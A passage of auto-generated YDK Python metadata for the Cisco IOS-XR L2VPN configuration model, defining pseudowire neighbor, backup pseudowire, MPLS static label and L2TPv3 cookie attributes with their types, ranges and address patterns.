REFERENCE_CLASS, 'BackupMplsStaticLabels' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.BackupPseudowires.BackupPseudowire.BackupMplsStaticLabels', [], [], ''' MPLS static labels ''', 'backup_mpls_static_labels', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('backup-pw-class', ATTRIBUTE, 'str' , None, None, [(0, 32)], [], ''' PW class template name to use for the backup PW ''', 'backup_pw_class', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'backup-pseudowire', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.BackupPseudowires' : { 'meta_info' : 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False, [ _MetaInfoClassMember('higher-value', ATTRIBUTE, 'int' , None, None, [('0', '4294967295')], [], ''' Higher remote cookie value ''', 'higher_value', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('lower-value', ATTRIBUTE, 'int' , None, None, [('0', '4294967295')], [], ''' Lower remote cookie value ''', 'lower_value', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('size', REFERENCE_ENUM_CLASS, 'L2TpCookieSizeEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2TpCookieSizeEnum', [], [], ''' Remote cookie size ''', 'size', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'l2tp-remote-cookie', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.L2TpStaticAttributes.L2TpSecondaryLocalCookie' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.L2TpStaticAttributes.L2TpSecondaryLocalCookie', False, [ _MetaInfoClassMember('higher-value', ATTRIBUTE, 'int' , None, None, [('0', '4294967295')], [], ''' Higher local cookie value ''', 'higher_value', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('lower-value', ATTRIBUTE, 'int' , None, None, [('0', '4294967295')], [], ''' Lower local cookie value ''', 'lower_value', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('size', REFERENCE_ENUM_CLASS, 'L2TpCookieSizeEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2TpCookieSizeEnum', [], [], ''' Local cookie size ''', 'size', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'l2tp-secondary-local-cookie', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.L2TpStaticAttributes.L2TpLocalCookie' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.L2TpStaticAttributes.L2TpLocalCookie', False, [ _MetaInfoClassMember('higher-value', ATTRIBUTE, 'int' , None, None, [('0', '4294967295')], [], ''' Higher local cookie value ''', 'higher_value', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('lower-value', ATTRIBUTE, 'int' , None, None, [('0', '4294967295')], [], ''' Lower local cookie value ''', 'lower_value', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('size', REFERENCE_ENUM_CLASS, 'L2TpCookieSizeEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2TpCookieSizeEnum', [], [], ''' Local cookie size ''', 'size', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'l2tp-local-cookie', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.L2TpStaticAttributes' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.L2TpStaticAttributes', False, [ _MetaInfoClassMember('l2tp-local-cookie', REFERENCE_CLASS, 'L2TpLocalCookie' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.L2TpStaticAttributes.L2TpLocalCookie', [], [], ''' L2TP local cookie ''', 'l2tp_local_cookie', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('l2tp-local-session-id', ATTRIBUTE, 'int' , None, None, [('1', '65535')], [], ''' L2TP local session ID ''', 'l2tp_local_session_id', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('l2tp-remote-cookie', REFERENCE_CLASS, 'L2TpRemoteCookie' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.L2TpStaticAttributes.L2TpRemoteCookie', [], [], ''' L2TP remote cookie ''', 'l2tp_remote_cookie', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('l2tp-remote-session-id', ATTRIBUTE, 'int' , None, None, [('1', '65535')], [], ''' L2TP remote session ID ''', 'l2tp_remote_session_id', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('l2tp-secondary-local-cookie', REFERENCE_CLASS, 'L2TpSecondaryLocalCookie' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.L2TpStaticAttributes.L2TpSecondaryLocalCookie', [], [], ''' L2TP secondary local cookie ''', 'l2tp_secondary_local_cookie', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'l2tp-static-attributes', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.L2TpStatic' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.L2TpStatic', False, [ _MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable pseudowire L2TPv3 static configuration ''', 'enable', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'l2tp-static', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor', False, [ _MetaInfoClassMember('neighbor', ATTRIBUTE, 'str' , None, None, [], ['(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'], ''' Pseudowire IPv4 address ''', 'neighbor', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('backup-pseudowires', REFERENCE_CLASS, 'BackupPseudowires' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.BackupPseudowires', [], [], ''' List of pseudowires ''', 'backup_pseudowires', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('bandwidth', ATTRIBUTE, 'int' , None, None, [('0', '4294967295')], [], ''' Pseudowire Bandwidth ''', 'bandwidth', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('class', ATTRIBUTE, 'str' , None, None, [(0, 32)], [], ''' Name of the pseudowire class ''', 'class_', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('l2tp-static', REFERENCE_CLASS, 'L2TpStatic' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.L2TpStatic', [], [], ''' Pseudowire L2TPv3 static configuration ''', 'l2tp_static', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('l2tp-static-attributes', REFERENCE_CLASS, 'L2TpStaticAttributes' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.L2TpStaticAttributes', [], [], ''' L2TP Static Attributes ''', 'l2tp_static_attributes', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('mpls-static-labels', REFERENCE_CLASS, 'MplsStaticLabels' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.MplsStaticLabels', [], [], ''' MPLS static labels ''', 'mpls_static_labels', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('source-address', REFERENCE_UNION, 'str' , None, None, [], [], ''' Value of the Pseudowire source address. Must be IPv6 only. ''', 'source_address', 'Cisco-IOS-XR-l2vpn-cfg', False, [ _MetaInfoClassMember('source-address', ATTRIBUTE, 'str' , None, None, [], ['(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'], ''' Value of the Pseudowire source address. Must be IPv6 only. ''', 'source_address', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('source-address', ATTRIBUTE, 'str' , None, None, [], ['((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(%[\\p{N}\\p{L}]+)?'], ''' Value of the Pseudowire source address. Must be IPv6 only. ''', 'source_address', 'Cisco-IOS-XR-l2vpn-cfg', False), ]), _MetaInfoClassMember('tag-impose', ATTRIBUTE, 'int' , None, None, [('1', '4094')], [], ''' Tag Impose vlan tagged mode ''', 'tag_impose', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'neighbor', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.MplsStaticLabels' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.MplsStaticLabels', False, [ _MetaInfoClassMember('local-static-label', ATTRIBUTE, 'int' , None, None, [('16', '1048575')], [], ''' Pseudowire local static label ''', 'local_static_label', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('remote-static-label', ATTRIBUTE, 'int' , None, None, [('16', '1048575')], [], ''' Pseudowire remote static label ''', 'remote_static_label', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'mpls-static-labels', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.BackupPseudowires.BackupPseudowire.BackupMplsStaticLabels' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.BackupPseudowires.BackupPseudowire.BackupMplsStaticLabels', False, [ _MetaInfoClassMember('local-static-label', ATTRIBUTE, 'int' , None, None, [('16', '1048575')], [], ''' Pseudowire local static label ''', 'local_static_label', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('remote-static-label', ATTRIBUTE, 'int' , None, None, [('16', '1048575')], [], ''' Pseudowire remote static label ''', 'remote_static_label', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'backup-mpls-static-labels', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.BackupPseudowires.BackupPseudowire' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.BackupPseudowires.BackupPseudowire', False, [ _MetaInfoClassMember('neighbor', ATTRIBUTE, 'str' , None, None, [], ['(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'], ''' Neighbor IP address ''', 'neighbor', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('pseudowire-id', ATTRIBUTE, 'int' , None, None, [('1', '4294967295')], [], ''' Pseudowire ID ''', 'pseudowire_id', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('backup-mpls-static-labels', REFERENCE_CLASS, 'BackupMplsStaticLabels' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.BackupPseudowires.BackupPseudowire.BackupMplsStaticLabels', [], [], ''' MPLS static labels ''', 'backup_mpls_static_labels', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('backup-pw-class', ATTRIBUTE, 'str' , None, None, [(0, 32)], [], ''' PW class template name to use for the backup PW ''', 'backup_pw_class', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'backup-pseudowire', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.BackupPseudowires' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.BackupPseudowires', False, [ _MetaInfoClassMember('backup-pseudowire', REFERENCE_LIST, 'BackupPseudowire' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.BackupPseudowires.BackupPseudowire', [], [], ''' Backup pseudowire for the cross connect ''', 'backup_pseudowire', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'backup-pseudowires', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStaticAttributes.L2TpRemoteCookie' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStaticAttributes.L2TpRemoteCookie', False, [ _MetaInfoClassMember('higher-value', ATTRIBUTE, 'int' , None, None, [('0', '4294967295')], [], ''' Higher remote cookie value ''', 'higher_value', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('lower-value', ATTRIBUTE, 'int' , None, None, [('0', '4294967295')], [], ''' Lower remote cookie value ''', 'lower_value', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('size', REFERENCE_ENUM_CLASS, 'L2TpCookieSizeEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2TpCookieSizeEnum', [], [], ''' Remote cookie size ''', 'size', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'l2tp-remote-cookie', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStaticAttributes.L2TpSecondaryLocalCookie' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStaticAttributes.L2TpSecondaryLocalCookie', False, [ _MetaInfoClassMember('higher-value', ATTRIBUTE, 'int' , None, None, [('0', '4294967295')], [], ''' Higher local cookie value ''', 'higher_value', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('lower-value', ATTRIBUTE, 'int' , None, None, [('0', '4294967295')], [], ''' Lower local cookie value ''', 'lower_value', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('size', REFERENCE_ENUM_CLASS, 'L2TpCookieSizeEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2TpCookieSizeEnum', [], [], ''' Local cookie size ''', 'size', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'l2tp-secondary-local-cookie', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStaticAttributes.L2TpLocalCookie' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStaticAttributes.L2TpLocalCookie', False, [ _MetaInfoClassMember('higher-value', ATTRIBUTE, 'int' , None, None, [('0', '4294967295')], [], ''' Higher local cookie value ''', 'higher_value', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('lower-value', ATTRIBUTE, 'int' , None, None, [('0', '4294967295')], [], ''' Lower local cookie value ''', 'lower_value', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('size', REFERENCE_ENUM_CLASS, 'L2TpCookieSizeEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2TpCookieSizeEnum', [], [], ''' Local cookie size ''', 'size', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'l2tp-local-cookie', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStaticAttributes' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStaticAttributes', False, [ _MetaInfoClassMember('l2tp-local-cookie', REFERENCE_CLASS, 'L2TpLocalCookie' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStaticAttributes.L2TpLocalCookie', [], [], ''' L2TP local cookie ''', 'l2tp_local_cookie', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('l2tp-local-session-id', ATTRIBUTE, 'int' , None, None, [('1', '65535')], [], ''' L2TP local session ID ''', 'l2tp_local_session_id', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('l2tp-remote-cookie', REFERENCE_CLASS, 'L2TpRemoteCookie' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStaticAttributes.L2TpRemoteCookie', [], [], ''' L2TP remote cookie ''', 'l2tp_remote_cookie', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('l2tp-remote-session-id', ATTRIBUTE, 'int' , None, None, [('1', '65535')], [], ''' L2TP remote session ID ''', 'l2tp_remote_session_id', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('l2tp-secondary-local-cookie', REFERENCE_CLASS, 'L2TpSecondaryLocalCookie' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStaticAttributes.L2TpSecondaryLocalCookie', [], [], ''' L2TP secondary local cookie ''', 'l2tp_secondary_local_cookie', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'l2tp-static-attributes', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStatic' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStatic', False, [ _MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable pseudowire L2TPv3 static configuration ''', 'enable', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'l2tp-static', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress', False, [ _MetaInfoClassMember('pseudowire-address', ATTRIBUTE, 'str' , None, None, [], ['((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(%[\\p{N}\\p{L}]+)?'], ''' Pseudowire IPv6 address. A pseudowire can have only one address: IPv4 or IPv6 ''', 'pseudowire_address', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('backup-pseudowires', REFERENCE_CLASS, 'BackupPseudowires' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.BackupPseudowires', [], [], ''' List of pseudowires ''', 'backup_pseudowires', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('bandwidth', ATTRIBUTE, 'int' , None, None, [('0', '4294967295')], [], ''' Pseudowire Bandwidth ''', 'bandwidth', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('class', ATTRIBUTE, 'str' , None, None, [(0, 32)], [], ''' Name of the pseudowire class ''', 'class_', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('l2tp-static', REFERENCE_CLASS, 'L2TpStatic' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStatic', [], [], ''' Pseudowire L2TPv3 static configuration ''', 'l2tp_static', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('l2tp-static-attributes', REFERENCE_CLASS, 'L2TpStaticAttributes' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.L2TpStaticAttributes', [], [], ''' L2TP Static Attributes ''', 'l2tp_static_attributes', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('mpls-static-labels', REFERENCE_CLASS, 'MplsStaticLabels' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.MplsStaticLabels', [], [], ''' MPLS static labels ''', 'mpls_static_labels', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('source-address', REFERENCE_UNION, 'str' , None, None, [], [], ''' Value of the Pseudowire source address. Must be IPv6 only. ''', 'source_address', 'Cisco-IOS-XR-l2vpn-cfg', False, [ _MetaInfoClassMember('source-address', ATTRIBUTE, 'str' , None, None, [], ['(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'], ''' Value of the Pseudowire source address. Must be IPv6 only. ''', 'source_address', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('source-address', ATTRIBUTE, 'str' , None, None, [], ['((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(%[\\p{N}\\p{L}]+)?'], ''' Value of the Pseudowire source address. Must be IPv6 only. ''', 'source_address', 'Cisco-IOS-XR-l2vpn-cfg', False), ]), _MetaInfoClassMember('tag-impose', ATTRIBUTE, 'int' , None, None, [('1', '4094')], [], ''' Tag Impose vlan tagged mode ''', 'tag_impose', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'pseudowire-address', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire', False, [ _MetaInfoClassMember('pseudowire-id', ATTRIBUTE, 'int' , None, None, [('1', '4294967295')], [], ''' Pseudowire ID ''', 'pseudowire_id', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('neighbor', REFERENCE_LIST, 'Neighbor' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 